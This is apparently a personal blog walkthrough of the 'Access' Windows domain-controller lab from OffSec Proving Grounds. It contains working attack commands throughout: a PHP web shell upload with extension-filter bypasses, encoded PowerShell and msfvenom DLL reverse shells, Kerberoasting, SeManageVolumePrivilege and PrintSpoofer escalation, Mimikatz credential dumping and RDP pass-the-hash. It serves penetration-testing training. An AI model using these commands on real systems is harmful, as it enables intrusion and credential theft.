November 15, 2024 | 23:48

Proving Grounds Practice - Access

Access from Proving Grounds Practice is an intermediate rated Windows machine, in which we first get a shell through a file upload vulnerability in a web application running in the context of a low privileged domain user svc_apache.

Within that shell we perform a kerberoasting attack using Rubeus and obtain the credentials of the user svc_mssql. In order to get a shell as svc_mssql, we make use of a tool called RunasCs.

The user svc_mssql has the Perform volume maintenance tasks user right (SeManageVolumePrivilege) assigned, which can be exploited to privileges to nt authority\network service and to SYSTEM afterwards.

Port Scanning

The open ports indicate that the target is a domain controller:

[...SNIP...]
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
|_http-title: Access The Event
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-02-12 13:20:56Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: access.offsec0., Site: Default-First-Site-Name)
443/tcp   open  ssl/http      Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
|_http-title: Access The Event
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
| http-methods: 
|_  Potentially risky methods: TRACE
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: access.offsec0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
[...SNIP...]

NetExec gives us the Windows server version as well as the hostname and the domain name:

$ nxc smb 192.168.212.187
SMB         192.168.212.187 445    SERVER           [*] Windows 10 / Server 2019 Build 17763 x64 (name:SERVER) (domain:access.offsec) (signing:True) (SMBv1:False)

After verifying the hostname is server.access.offsec, we add it to our hosts file:

$ dig +short server.access.offsec @192.168.204.187
192.168.204.187
$ echo '192.168.204.187\tserver.access.offsec access.offsec' | sudo tee -a '/etc/hosts'
192.168.204.187 server.access.offsec access.offsec

File Upload to get a Reverse Shell as svc_apache

The web page contains a form, that can be filled out to buy tickets, while uploading an image file:

Using ffuf we discover the uploads path:

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://server.access.offsec/FUZZ/ -ic
[...SNIP...]
uploads                 [Status: 200, Size: 782, Words: 61, Lines: 16, Duration: 27ms]
[...SNIP...]

Our uploaded file is listed there:

We can use cURL to upload files:

$ echo "test" > test.txt
$ curl -k -X POST "http://server.access.offsec/Ticket.php" \
  -F "your-name=Pi" \
  -F "your-email=pi@access.offsec" \
  -F "ticket-type=standard-access" \
  -F "the_file=@test.txt;type=image/png" \
  -F "submit=Purchase"
<script type="text/javascript">alert("You will shortly recieve payment link mail");window.location.href = "index.html";</script>
$ curl http://server.access.offsec/uploads/test.txt
test

The cURL request still works if we omit some of the form options (your-name, your-email and ticket-type). When we try to upload a .php file we will get back an error page:

$ echo '<?=`$_GET[cmd]`?>' > shell.php
$ curl -k -X POST "http://server.access.offsec/Ticket.php" -F "the_file=@shell.php;type=image/png" -F "submit=Purchase"
<script type="text/javascript">alert("This file extension is not allowed !!");window.location.href = "index.html";</script>

Trying several bypass techniques, we have success with .php.....:

$ echo '<?=`$_GET[cmd]`?>' > shell.php.....
$ curl -k -X POST "http://server.access.offsec/Ticket.php" -F "the_file=@shell.php.....;type=image/png" -F "submit=Purchase"
<script type="text/javascript">alert("You will shortly recieve payment link mail");window.location.href = "index.html";</script>%
$ curl "http://server.access.offsec/uploads/shell.php.....?cmd=whoami"
access\svc_apache

Now that we can execute code, we’ll use the URL encoded PowerShell #3 (Base64) reverse shell on revshells.com to get a reverse shell:

$ cmd="powershell%20-e%20JABjAGwAaQBlAG4[...SNIP...]gBDAGwAbwBzAGUAKAApAA%3D%3D"
$ curl "http://server.access.offsec/uploads/shell.php.....?cmd=$cmd"

The listener that we started before, will get a connect-back:

$ rlwrap nc -lvnp 4444
[...SNIP...]
PS C:\xampp\htdocs\uploads> whoami
access\svc_apache
PS C:\xampp\htdocs\uploads> hostname
SERVER

Before we move on, we note that we can use the file upload vulnerability within the web application to transfer further tools:

$ curl -k -X POST "http://server.access.offsec/Ticket.php" -F "the_file=@PowerView.ps1;type=image/png" -F "submit=Purchase"

Kerberoasting to get svc_mssql credentials

We upload and import PowerView to analyze the AD further. We notice, that there is a kerberoastable user account named svc_mssql:

PS C:\xampp\htdocs\uploads> Get-NetUser -SPN | select samaccountname,serviceprincipalname

samaccountname serviceprincipalname
-------------- --------------------
krbtgt         kadmin/changepw
svc_mssql      MSSQLSvc/DC.access.offsec

We use Rubeus to get the TGS-REP hash:

PS C:\xampp\htdocs\uploads> .\Rubeus.exe kerberoast /nowrap
[...SNIP...]
[*] Hash                   : $krb5tgs$23$*svc_mssql$access.offsec$MSSQLSvc/DC.access.offsec@access.offsec*$E6757FE1E7374E25[...]08960D751

That hash can be copied to a file hashes.kerberoast and cracked offline on our Kali machine:

$ hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt --force

We can verify that the credentials are valid:

$ nxc smb server.access.offsec -u svc_mssql -p trustno1
SMB         192.168.204.187 445    SERVER           [*] Windows 10 / Server 2019 Build 17763 x64 (name:SERVER) (domain:access.offsec) (signing:True) (SMBv1:False)
SMB         192.168.204.187 445    SERVER           [+] access.offsec\svc_mssql:trustno1

To spawn a shell as the svc_mssql from our existing svc_apache shell we use RunasCs:

PS C:\xampp\htdocs\uploads> .\RunasCs.exe svc_mssql trustno1 powershell.exe -r 192.168.45.155:4444

Our listener gets a reverse shell as svc_mssql:

$ rlwrap nc -lvnp 4444
listening on [any] 4444 ...
[...]
PS C:\Windows\system32> whoami
whoami
access\svc_mssql
PS C:\Windows\system32> hostname
hostname
SERVER

Exploit SeManageVolumePrivilege

The svc_mssql user has the SeManageVolumePrivilege privilege, which allows a user to perform certain disk management operations:

PS C:\Windows\system32> whoami /priv
[...SNIP...]
SeManageVolumePrivilege       Perform volume maintenance tasks Disabled
[...SNIP...]

The SeManageVolumeExploit repository has a pre-compiled binary that we run as the svc_mssql user to exploit this privilege to get write permissions on the C: drive:

PS C:\xampp\htdocs\uploads> .\SeManageVolumeExploit.exe
.\SeManageVolumeExploit.exe
Entries changed: 917
DONE
PS C:\xampp\htdocs\uploads> icacls C:/Windows
[...SNIP...]
           BUILTIN\Users:(M)
[...SNIP...]

We read here that one way to get a shell having write permissions on the C: drive, is to write a custom DLL to C:\Windows\System32\wbem\tzres.dll and call the systeminfo command afterwards:

# on Kali
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.192 LPORT=4444 -f dll -o tzres.dll
# upload and then copy it to the target
PS C:\xampp\htdocs\uploads> copy .\tzres.dll c:\windows\system32\wbem\

After setting up a listener and running the systeminfo command in one of the shells we have at hand, we finally get a reverse shell as nt authority\network service:

$ rlwrap nc -lvnp 4444
[...]
C:\Windows\system32>whoami
whoami
nt authority\network service

At this point we can access the proof.txt:

c:\Users\Administrator\Desktop>type proof.txt
type proof.txt
c302e[...]

We can further elevate privileges by using a named pipe impersonation, e.g. with PrintSpoofer:

c:\xampp\htdocs\uploads>.\PrintSpoofer64.exe -i -c powershell.exe
.\PrintSpoofer64.exe -i -c powershell.exe
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
[...]
PS C:\Windows\system32> whoami
whoami
access\server$

Using Mimikatz we can get the Administrator’s NTLM hash:

mimikatz # lsadump::sam
[...]
RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: 85010ccdc73e309c2159bbc9d1ffdc16
[...]
mimikatz # lsadump::secrets
Domain : SERVER
SysKey : e9a15188a6ad2d20d26fe2bc984b369e
[...]
Secret  : _SC_ApacheHTTPServer / service 'ApacheHTTPServer' with username : ACCESS\svc_apache
cur/text: ServiceApache!!

The credentials are valid, and the NTLM hash of Administrator doesn’t change even after reverting the Access machine:

$ nxc smb server.access.offsec -u svc_apache -p 'ServiceApache!!'
[...]
SMB         192.168.133.187 445    SERVER           [+] access.offsec\svc_apache:ServiceApache!!

We now modify the registry to enable RDP (fDenyTSConnections=0) and allow Restricted Admin Mode (DisableRestrictedAdmin=0) to be able to allow RDP logins without transmitting credentials:

$ impacket-psexec Administrator@server.access.offsec -hashes :85010ccdc73e309c2159bbc9d1ffdc16
[...]
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
C:\Windows\system32> reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

This way we can use a pass-the-hash (PtH) attack to login via RDP:

xfreerdp /cert-ignore /u:Administrator /pth:85010ccdc73e309c2159bbc9d1ffdc16 /v:server.access.offsec /dynamic-resolution /drive:.,share

We identify the setting within the Local Security Policy, in which the Perform volume maintenance tasks user right is assigned to svc_mssql:

Aftermath

File Upload

According to the official writeup, we could have uploaded a crafted .htaccess file to get code execution:

$ echo "AddType application/x-httpd-php .abc" > .htaccess
$ curl -k -X POST "http://server.access.offsec/Ticket.php" -F "the_file=@.htaccess;type=image/png" -F "submit=Purchase"
<script type="text/javascript">alert("You will shortly recieve payment link mail");window.location.href = "index.html";</script>%
$ echo '<?=`$_GET[cmd]`?>' > shell.abc
$ curl -k -X POST "http://server.access.offsec/Ticket.php" -F "the_file=@shell.abc;type=image/png" -F "submit=Purchase"
<script type="text/javascript">alert("You will shortly recieve payment link mail");window.location.href = "index.html";</script>%
$ curl "http://server.access.offsec/uploads/shell.abc?cmd=whoami"
access\svc_apache

© Pavel Pi 2024

Powered by Hugo & Kiss'Em.